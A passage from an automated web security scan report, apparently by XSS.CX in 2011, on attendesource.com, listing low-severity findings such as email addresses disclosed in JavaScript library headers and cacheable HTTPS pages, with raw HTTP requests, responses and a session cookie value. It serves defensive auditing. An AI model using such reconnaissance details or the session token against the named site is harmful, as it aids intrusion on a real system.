HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Length: 2351
Content-Type: application/x-javascript
Content-Location: http://attendesource.com/assets/js/lib/jquery/jquery.favorites.js?8EF25E18
Last-Modified: Thu, 09 Dec 2010 19:07:06 GMT
Accept-Ranges: bytes
ETag: "0a93245d497cb1:31c3"
Server: Microsoft-IIS/6.0
Date: Wed, 27 Apr 2011 13:40:26 GMT

/******************************************************************************
   Name    : ajax/favotites
   Author    : Ryan Manville (rmanville@certain.com)
   Created    : 20090714
   Purpose            : AJAX script for favorite behavior


   Modifications :
   20091020 JRD - AS-2439: reverse title/image display for 'is' to reflect change to link
   20
...[SNIP]...

8.2. https://attendesource.com/assets/js/lib/jquery/jquery.tablesorter.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/assets/js/lib/jquery/jquery.tablesorter.js

Issue detail

The following email address was disclosed in the response:

christian.bach@polyester.se

Request

GET /assets/js/lib/jquery/jquery.tablesorter.js?8EF25E18 HTTP/1.1
Host: attendesource.com
Connection: keep-alive
Referer: https://attendesource.com/profile/form/index.cfm?PKformID=0x32928f45d
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Length: 25314
Content-Type: application/x-javascript
Content-Location: http://attendesource.com/assets/js/lib/jquery/jquery.tablesorter.js?8EF25E18
Last-Modified: Thu, 09 Dec 2010 19:07:04 GMT
Accept-Ranges: bytes
ETag: "07c144d497cb1:33ad"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 27 Apr 2011 13:40:25 GMT

/*
*
* TableSorter 2.0 - Client-side table sorting with ease!
* Version 2.0.3
* @requires jQuery v1.2.3
*
* Copyright (c) 2007 Christian Bach
* Examples and docs at: http://tablesorter
...[SNIP]...
indicating if tablesorter should display debuging information usefull for development.
*
* @type jQuery
*
* @name tablesorter
*
* @cat Plugins/Tablesorter
*
* @author Christian Bach/christian.bach@polyester.se
*
*
*
* 20091020 JRD - AS-2454: add txtDate parser
*/

(function($) {
   $.extend({
       tablesorter: new function() {

           var parsers = [], widgets = [];

           this.defaults = {

...[SNIP]...

8.3. https://attendesource.com/assets/js/lib/prototype.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/assets/js/lib/prototype.js

Issue detail

The following email address was disclosed in the response:

sam@conio.net

Request

GET /assets/js/lib/prototype.js?8F047C41 HTTP/1.1
Host: attendesource.com
Connection: keep-alive
Referer: https://attendesource.com/user/index.cfm?
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource; SESS_UUID=df7b7aa5%2D40ae%2D4607%2Db9c8%2D5b60d1055996

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Length: 67186
Content-Type: application/x-javascript
Content-Location: http://attendesource.com/assets/js/lib/prototype.js?8F047C41
Last-Modified: Thu, 09 Dec 2010 19:07:06 GMT
Accept-Ranges: bytes
ETag: "0a93245d497cb1:31c3"
Server: Microsoft-IIS/6.0
Date: Wed, 27 Apr 2011 14:12:55 GMT

/* Prototype JavaScript framework, version 1.5.0_rc1
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* Prototype is freely distributable under the terms of an MIT-style license.
* For details,
...[SNIP]...

8.4. https://attendesource.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/favicon.ico

Issue detail

The following email address was disclosed in the response:

support@certain.com

Request

Response

9. Cacheable HTTPS response previous
There are 3 instances of this issue:

/favicon.ico
/profile/form/
/profile/form/index.cfm

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

9.1. https://attendesource.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/favicon.ico

Request

Response

9.2. https://attendesource.com/profile/form/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/profile/form/

Request

Response

9.3. https://attendesource.com/profile/form/index.cfm previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/profile/form/index.cfm

Request

GET /profile/form/index.cfm HTTP/1.1
Host: attendesource.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource; SESS_UUID=df7b7aa5%2D40ae%2D4607%2Db9c8%2D5b60d1055996

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 14:13:10 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:13:10 GMT;path=/
Content-Type: text/html; charset=UTF-8

   <script language="JavaScript">alert('There has been a submission error.\n\n' +
   'Make sure that the web address is complete and does not have any extra\n' +
   'spaces or special characters. Then
...[SNIP]...

Report generated by XSS.CX at Wed Apr 27 15:11:09 CDT 2011.